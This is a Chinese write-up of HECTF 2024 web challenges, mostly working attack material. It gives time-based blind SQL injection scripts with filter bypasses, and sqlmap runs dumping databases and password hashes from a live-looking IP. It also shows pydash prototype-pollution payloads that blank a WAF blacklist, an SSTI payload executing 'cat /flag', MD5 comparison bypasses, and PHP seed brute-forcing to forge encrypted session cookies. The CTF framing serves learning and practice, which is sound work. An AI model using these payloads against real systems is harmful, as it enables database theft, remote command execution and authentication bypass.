babysql
直接万能密码过
进入查询后台测试发现是盲注,可以使用布尔盲注,这里采用时间盲注
接下来就是脚本
首先跑一个fuzz字典看有哪儿些东西被过滤了
可以看到有些重要的东西也被过滤了,像空格,information_schema
测试
from requests import postbase_url = 'xxx/worker.php'payload = "1'/**/or/**/if((select/**/database())like/**/database(),sleep(3),0)#"
data = {"name":payload}def check_time(data):try:res=post(base_url, data=data,timeout=2)#如果没有超时说明失败了return "failure"except:return "success"print(check_time(data))
解下来就可以打时间盲注了
脚本网上有很多,这里就不写那么全面了,简单的认识前面几个,后面的也就是payload变化一下
from requests import post
import string
import timebase_url = 'xxx/worker.php'alpha="{_}[]-"+ string.ascii_letters + string.digits#payload = "1'/**/or/**/if((select/**/database())like/**/database(),sleep(3),0)#"
#data = {"name":payload}def check_time(data):try:res=post(base_url, data=data,timeout=20)#如果没有超时说明失败了return "failure"except Exception as e:return "success"#时间盲注爆破数据库长度函数
# def db_name_len():
# i=1
# while True:
# payload="hh'/**/or/**/if((select/**/length(database()))/**/like/**/{},sleep(20),sleep(0))#".format(i)
# data={"name":payload}
# time.sleep(0.3)
#
# if check_time(data) == "success":
# print("数据库长度: %d"%i)
# return i
# i += 1
# print(i)
#数据库长度为7
#db_name_len()#爆破数据库名
def brust_sce_name():name=""for i in range(1,8):for j in alpha:#payload= "hh'/**/or/**/if(substr(database(),{},1)/**/like/**/'{}',sleep(20),sleep(0))#".format(i,j)payload = "g01den'/**/Or/**/if(substr(database(),{},1)/**/like/**/'{}',sLeep(20),sLeep(0))#".format(i,j)data = {"name":payload}time.sleep(0.3)if check_time(data) == "success":name += jbreakprint("数据库的名字是: "+name)return namebrust_sce_name()
这里有个坑点就是过滤了information_schema, g01den师傅还是想来喜欢被暴打,出的题就是有水平
这里可以使用mysql的innodb来绕过:mysql.innodb_table_stats mysql.innodb_index_stats
可以大致看看这里面有些什么东西
select * from innodb_index_stats
| database_name | varchar(64) | NO | PRI | NULL | || table_name | varchar(64) | NO | PRI | NULL | || index_name | varchar(64) | NO | PRI | NULL | || last_update | timestamp | NO | | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP || stat_name | varchar(64) | NO | PRI | NULL | || stat_value | bigint(20) unsigned | NO | | NULL | || sample_size | bigint(20) unsigned | YES | | NULL | || stat_description | varchar(1024) | NO | | NULL | |database_name 数据库名table_name 表名index_name 索引名last_update 最后一次更新时间stat_name 统计名stat_value 统计值sample_size 样本大小stat_description 统计说明-索引对应的字段名
mysql.innodb_index_stats
Innodb_table_stats | database_name | varchar(64) | NO | PRI | NULL | || table_name | varchar(64) | NO | PRI | NULL | || last_update | timestamp | NO | | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP || n_rows | bigint(20) unsigned | NO | | NULL | || clustered_index_size | bigint(20) unsigned | NO | | NULL | || sum_of_other_index_sizes | bigint(20) unsigned | NO | | NULL | database_name 数据库名table_name 表名last_update 最后一次更新时间n_rows 表中总有多少列数据clustered_index_size 聚集索引大小(数据页)sum_of_other_index_sizes 其他索引大小(数据页)
import timedef db_name_count():i = 1while True:payload = ("g01den'/**/Or/**/if((seLect/**/COUNT(database_name)/**/fRom/**/mysql.innodb_table_stats)""/**/like/**/{},sLeep(20),sLeep(0))#".format(i))data = {"name": payload}# print(payload)time.sleep(0.3)if istime(data) == "timeout":print("数据库的个数为" + str(i))return ii += 1def db_name_len_list():name_len_list = []for i in range(4):for j in range(100):payload = ("g01den'/**/Or/**/if((select/**/length(database_name)/**/from/**/mysql.innodb_table_stats""/**/limit/**/{},1)/**/like/**/{},sleep(20),sleep(0))#".format(i, j))data = {"name": payload}# print(payload)time.sleep(0.3)if istime(data) == "timeout":name_len_list.append(j)breakprint(name_len_list)return name_len_list# 示例调用函数
# db_name_count()
# db_name_len_list()
以上方法很看基本功,这个题目,很多师傅都用sqlmap一把嗦出来了。
sqlmap -u “xxx/index.php” -data “name=admin&pw=-1” --dbs -
-dump
available databases [7]:
[*] flag1shere
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] users
[*] workers
Database: users
Table: login
[2 entries]
+----+----------------------------------+----------+
| id | passwd | username |
+----+----------------------------------+----------+
| 0 | fc2ce1340d3eaa16d68dbfb35d3aaac6 | admin |
| 1 | 50590173d2888d5e33742cd68d02efad | test |
+----+----------------------------------+----------+
sqlmap -u “http://8.153.107.216:30326/index.php” -data “name=admin&pw=-1” –
tables -D “flag1shere” --dump
[22:12:32] [INFO] retrieved:
[22:12:38] [INFO] adjusting time delay to 1 second due to good response times
flag_is_
[22:13:16] [ERROR] invalid character detected. retrying..
[22:13:16] [WARNING] increasing time delay to 2 seconds
in_flag1shere_loockhere_flag
[22:16:40] [INFO] retrieved: lookhere
Database: flag1shere
[2 tables]
+--------------------------------------+
| flag_is_in_flag1shere_loockhere_flag |
| lookhere |
+--------------------------------------+
[22:17:38] [INFO] fetching columns for table
'flag_is_in_flag1shere_loockhere_flag' in database 'flag1shere'
[22:17:38] [INFO] retrieved: 1
[22:17:41] [INFO] retrieved: hint
[22:18:15] [INFO] fetching entries for table
'flag_is_in_flag1shere_loockhere_flag' in database 'flag1shere'
[22:18:15] [INFO] fetching number of entries for table
'flag_is_in_flag1shere_loockhere_flag' in database 'flag1shere'
[22:18:15] [INFO] retrieved: 1
[22:18:18] [WARNING] (case) time-based comparison requires reset of statistical
model, please wait.............................. (done)
flag is in flag1shere.lookhere.flag
Database: flag1shere
Table: flag_is_in_flag1shere_loockhere_flag
[1 entry]
+-------------------------------------+
| hint |
+-------------------------------------+
| flag is in flag1shere.lookhere.flag |
+-------------------------------------+
[22:22:28] [INFO] table 'flag1shere.flag_is_in_flag1shere_loockhere_flag' dumped
to CSV file
'/root/.local/share/sqlmap/output/8.153.107.216/dump/flag1shere/flag_is_in_flag1
shere_loockhere_flag.csv'
[22:22:28] [INFO] fetching columns for table 'lookhere' in database 'flag1shere'
[22:22:28] [INFO] retrieved: 1
[22:22:30] [INFO] retrieved: flag
[22:22:57] [INFO] fetching entries for table 'lookhere' in database 'flag1shere'
[22:22:57] [INFO] fetching number of entries for table 'lookhere' in database
'flag1shere'
[22:22:57] [INFO] retrieved: 1
[22:22:59] [WARNING] (case) time-based comparison requires reset of statistical
model, please wait.............................. (done)
HECTF{df1b330bbc22
[22:24:51] [INFO] adjusting time delay to 1 second due to good response times
80e5021137e34461c224907f45c3}
Database: flag1shere
Table: lookhere
[1 entry]
+-------------------------------------------------+
| flag |
+-------------------------------------------------+
| HECTF{df1b330bbc2280e5021137e34461c224907f45c3} |
+-------------------------------------------------+
[22:26:40] [INFO] table 'flag1shere.lookhere' dumped to CSV file
'/root/.local/share/sqlmap/output/8.153.107.216/dump/flag1shere/lookhere.csv'
[22:26:40] [INFO] fetched data logged to text files under
'/root/.local/share/sqlmap/output/8.153.107.216'
[22:26:40] [WARNING] your sqlmap version is outdated
[*] ending @ 22:26:40 /2024-12-07/
得到
HECTF{df1b330bbc2280e5021137e34461c224907f45c3}
你一个人专属的进货网站:
两个文件app.py和Wav.py
Wav.py
blacklist = [xxxxxxxx
]
def waf(strings):for temp in blacklist:if temp in strings:return Trueelse:passreturn False
app.py
"""
题目描述:w41tm00n第一次学习开发网站,老板让他三天之内搞定。第二天,w41tm00n终于写完了代码,并且进行了调试,网站在服务器上能够正常运行,但是w41tm00n没学过网安的知识,写的网站存在漏洞你作为w41tm00n的好朋友,同时你也是位网安的实习生,w41tm00n就找到了你帮他测试网站是否存在漏洞。w41tm00n跟你说,他放了一个惊喜在服务器上,如果你成功入侵了这个服务器的话就可以得到这个礼物的线索(/flag文件)
"""
import WAF
import os
from flask import Flask, render_template, redirect, request, session,render_template_string
from pydash import set_
#pip install -v pydash==5.1.2app = Flask(__name__)app.secret_key = os.urandom(24)
login = 0
user = None
class Users:def __init__(self, username, password,gender="secret"):self.username = usernameself.password = passwordself.gender = genderself.property = 0self.purchased = 0class Apple:def __init__(self):self.price = 15self.inventory = 1000apple = Apple()def veryfy():if session.get('verify') == "admin":return Trueelse:return False@app.route('/')
def main():if not session.get('username'):return redirect("/login",302)else:return render_template("index.html")@app.route('/login', methods=['GET','POST'])
def login():try:username = request.form['username']password = request.form['password']except KeyError:username = Nonepassword = Noneif username and password:global loginglobal userlogin= 1user = Users(username, password)session['username'] = user.usernamesession['password'] = user.passwordsession['verify'] = "user"return redirect("/",302)else:return render_template('login.html')@app.route('/admin', methods=['GET','POST'])
def admin():if veryfy() == True:render_html = """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>你好admin</title></head><body>当前管理员账户的用户名:%s </br>剩余苹果数量为:%d </br><a href="/stock"><button>重新进或1000苹果</button></a></br><a href="/"><button>主页</button></a></body></html>"""if WAF.waf(user.username):return """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>NO,Hacker</title></head><body><script>alert("No,Hacker");location.href = "/login";</script></br></body></html>"""else:return render_template_string(render_html%(user.username,apple.inventory))else:return render_template("admin_false.html")@app.route('/setUserInfo', methods=['GET','POST'])
def setUserInfo():if request.method == 'GET':if login == 1:return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)else:return redirect("/login",302)if request.method == 'POST':try:key = request.form['key']value = request.form['value']except KeyError:key = Nonevalue = Noneif key and value:if key == "username":session["username"] = keyelif key == "password":session["password"] = keyset_(user,key,value)return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)else:return "输入异常!"@app.route("/purchase",methods=['GET','POST'])
def purchase():if request.method == 'GET':return render_template("purchase.html",apple_price=apple.price,apple_inventory=apple.inventory)if request.method == 'POST':try:count = int(request.form['count'])except KeyError:count = 0if count != 0:if count > apple.inventory:return """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>存货不足</title></head><body>存货不足,请等待进货</body><script>alert("存货不足,请等待进货");location.href = "/purchase";</script></html>"""if user.property >= apple.price * count:user.purchased += countapple.inventory -= countuser.property -= apple.price * countreturn render_template("purchase.html",apple_price=apple.price,apple_inventory=apple.inventory)else:return """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>金额不足</title></head><body>金额不足,请充值</body><script>alert("金额不足,请充值");location.href = "/purchase";</script></html>"""@app.route("/stock", methods=["GET", "POST"])
def stock():if veryfy() == True:apple.inventory = 1000return """<script>location.href = "/admin";</script>"""else:return """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>权限不足</title></head><body>权限不足</body><script>alert("权限不足");location.href = "/login";</script></html>"""if __name__ == '__main__':app.run()
来看几个关键的点
admin路由很明显有ssti
一个session的admin验证:veryfy() == True
一个黑名单的检查:if WAF.waf(user.username):
@app.route('/admin', methods=['GET','POST'])
def admin():if veryfy() == True:render_html = """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>你好admin</title></head><body>当前管理员账户的用户名:%s </br>剩余苹果数量为:%d </br><a href="/stock"><button>重新进或1000苹果</button></a></br><a href="/"><button>主页</button></a></body></html>"""if WAF.waf(user.username):return """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>NO,Hacker</title></head><body><script>alert("No,Hacker");location.href = "/login";</script></br></body></html>"""else:return render_template_string(render_html%(user.username,apple.inventory))else:return render_template("admin_false.html")
setUserInfo路由很明显有原型链污染漏洞
@app.route('/setUserInfo', methods=['GET','POST'])
def setUserInfo():if request.method == 'GET':if login == 1:return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)else:return redirect("/login",302)if request.method == 'POST':try:key = request.form['key']value = request.form['value']except KeyError:key = Nonevalue = Noneif key and value:if key == "username":session["username"] = keyelif key == "password":session["password"] = keyset_(user,key,value)return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)else:return "输入异常!"
所以攻击思路也很明确,伪造session,进入admin路由,进行绕过黑名单的ssti
app.secret_key = os.urandom(24)
os.urandom(24):
os.urandom() 函数从操作系统提供的随机数生成器中获取指定数量的随机字节。在这个例子中,24 表示获取 24 个字节(即 192 位)的随机数据。
这些随机字节可以用来创建一个强随机的密钥,这对于提高应用程序的安全性至关重要。app.secret_key:
在 Flask 中,secret_key 是一个配置变量,用于对会话数据进行加密签名。这意味着当用户与你的应用交互时,他们的会话信息(如登录状态、购物车内容等)将被加密存储在浏览器的 cookie 中。
如果没有设置 secret_key,Flask 将无法正确地管理会话,并且可能会抛出警告或错误。
这个密钥不是伪随机数,没办法逆向破解,其他师傅在这儿也开玩笑的说除非搬出量子计算机
所以既然有原型链污染漏洞,那么我们就直接去污染这个secret_key,然后利用脚本破解或工具原始数据格式,伪造admin
set_(user,key,value)
key=__class__.__init__.__globals__.app.config.SECRET_KRY&value=123456
这里直接引用其他师傅的话
进⼊后测试ssti,发现waf把{{}}和{%%}全部拦截,那就没有payload可以打通了。
这里就很恶心了,blacklist几乎过滤掉了能想到的所有东西(赛后放出了看了)
但是我们有原型链污染这个洞,WAF是导⼊的WAF类,⾥⾯有blacklist属性,那我们可以污染
上面这句话就是解题的关键,当时我就跟本没利用好原型链污染这个洞,没有想到还可以打waf,也是学到了
blacklist为空,那么waf就失效了,payload:
key=class.init.globals.WAF.blacklist&value=[]
既然waf没了,那么随便拿个payload都能打
先改waf,然后ssti读flag,最访问admin路由即可 /admin
POST /setUserInfo
key=__class__.__init__.__globals__.WAF.blacklist&value=1&Button=%E6%8F%90%E4%B
A%A4
POST /setUserInfo
key=username&value={{cycler.__init__.__globals__.os.popen('cat
/flag').read()}}&Button=%E6%8F%90%E4%BA%A4
这里粘一下大佬师傅的其他打法
ezweb
这道题,比赛的时候没有怎么看,现在回头复现一下
前端源码发现一串base64编码,base64解码后得到:
if ($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])) {if ($_GET['c'] != $_GET['d'] && md5($_GET['c']) === md5($_GET['d'])) {if (isset($_GET['guess']) && md5($_GET['guess']) === 'aa476cf7143fe69c29b36e4d0a793604') { //xxxxx2024highlight_file("secret.php");}}
}
第一层是md5弱比较可以使用0e绕过,第二层是md5强比较,用数组或者碰撞绕过。第三层,是hectf2024的提示,xxxx不确定大小写,需要用脚本跑。
import hashlibdef generate_case_combinations(word):combinations = []length = len(word)for i in range(2 ** length):combination = ''for j in range(length):if (i >> j) & 1: #一趟i逐步移动5位,也就是length的长度,然后每次比较最右边的一位,1大写,0小写combination += word[j].upper()else:combination += word[j].lower()combinations.append(combination)return combinations
# 获取所有大小写组合并存储在列表中
combinations_list = generate_case_combinations("hectf")# 打印结果
# for combo in combinations_list:
# print(combo)with open('a.txt','w') as f:for line in combinations_list:f.write(line + '\n')
print("finish write")with open('a.txt','r') as f :listOfLines = f.readlines()for line in listOfLines:md5hash = hashlib.md5(line.strip().encode())md5 = md5hash.hexdigest()print(md5)
payload:GET:?a=QNKCDZO&b=240610708&c[]=0&d[]=1&guess=hECTf2024
得到secret.php
<?php
error_reporting(0);// mt_srand(rand(1e5, 1e7));
// $key = rand();
// file_put_contents(*, $key);function session_decrypt($session, $key)
{$data = base64_decode($session);$method = 'AES-256-CBC';$iv_size = openssl_cipher_iv_length($method);$iv = substr($data, 0, $iv_size);$enc = substr($data, $iv_size);return openssl_decrypt($enc, $method, $key, 1, $iv);
}
rand(1e5, 1e7) 实际上是在生成一个介于 100,000 和 10,000,000 之间的随机整数。
这里借用其他师傅的解答和思路,在这里先谢谢师傅的优质wp
接下来给出的是一个session解密代码,虽然key是随机的,但是种子范围很小,可以进行爆破,爆破所得的是一串序列化文本,然后修改相应数据为admin,再次进行加密,更改cookie并发送请求就可以获得flag
运行爆破的密码:
<?phpfunction session_decrypt($session,$key){$data=base64_decode($session);$method='AES-256-CBC';$iv_size=openssl_cipher_iv_length($method);$iv=substr($data,0,$iv_size);$enc=substr($data,$iv_size);return openssl_decrypt($enc,$method,$key,1,$iv);
}
$session="cAVQ3Rj2B26JBY2/zJZTfQcjdLCeBz6XTf1ShPbkQI71rJxMV43Dya/V7+Jb5gdDV+m20B4U1rA DwjZATnoc6Pn5nXtUEg+mfjTq+3wAGp7FqPY2XEVvZ0440B3AvxRF";
for($i=1e5;$i<=1e7;i++)
{mt_srand($i);key=rand();$t=session_decrypt($session,$key);if($t[0]!=""){echo $i;echo ' ';echo $t;echo PHP_EOL;}
}
爆破结果
重新加密运行的代码
<?phpfunction session_decrypt($session,$key){$data=base64_decode($session);$method='AES-256-CBC';$iv_size=openssl_cipher_iv_length($method);$iv=substr($data,0,$iv_size);$enc=substr($data,$iv_size);return openssl_decrypt($enc,$method,$key,1,$iv);
}
function session_encrypt($data,$key){$method = 'AES-256-CBC';$iv_size = openssl_cipher_iv_length($method);$iv = openssl_random_pseudo_bytes($iv_size);$encrypted = openssl_encrypt($data,$method,$key,1,$iv);$result = base64_encode($iv . $encrypted);return $result;
}
$session="O:4:\"User\":2:{s:8:\"username";s:5:\"admin\";s:4\"role";s:5:\"admin\";}";
$i=42984744;
{mt_srand($i);$key = rand();$t=session_encrypt($session,$key);{echo $i;echo ' ';echo "$key";echo ' ';echo $t;echo PHP_EOL;}echo session_decrypt($t,$key);
}
官方exp
<?php
error_reporting(0);function session_encrypt($message, $key)
{$method = 'AES-256-CBC';$iv_size = openssl_cipher_iv_length($method);$iv = openssl_random_pseudo_bytes($iv_size);$enc = openssl_encrypt($message, $method, $key, OPENSSL_RAW_DATA, $iv);return base64_encode($iv . $enc);
}function session_decrypt($session, $key)
{$data = base64_decode($session);$method = 'AES-256-CBC';$iv_size = openssl_cipher_iv_length($method);$iv = substr($data, 0, $iv_size);$enc = substr($data, $iv_size);return openssl_decrypt($enc, $method, $key, OPENSSL_RAW_DATA, $iv);
}$token = urldecode("token");for ($i = 1e5; $i <= 1e7; $i++) {mt_srand($i);$key = rand();if (strpos(session_decrypt($token, $key), "guest") !== false) {echo "Find it: " . $key;var_dump(session_decrypt($token, $key));break;}
}var_dump(session_encrypt('O:4:"User":2:{s:8:"username";s:5:"guest";s:4:"role";s:5:"admin";}', $key));
ezjava
还有一道java题,由于javaweb很生疏,所以这个就留到不久的将来复现吧
至此
2024HECTF的篇章差不多要翻页了!✌️
🥳🥳🥳
真的学无♾️📖📖📖…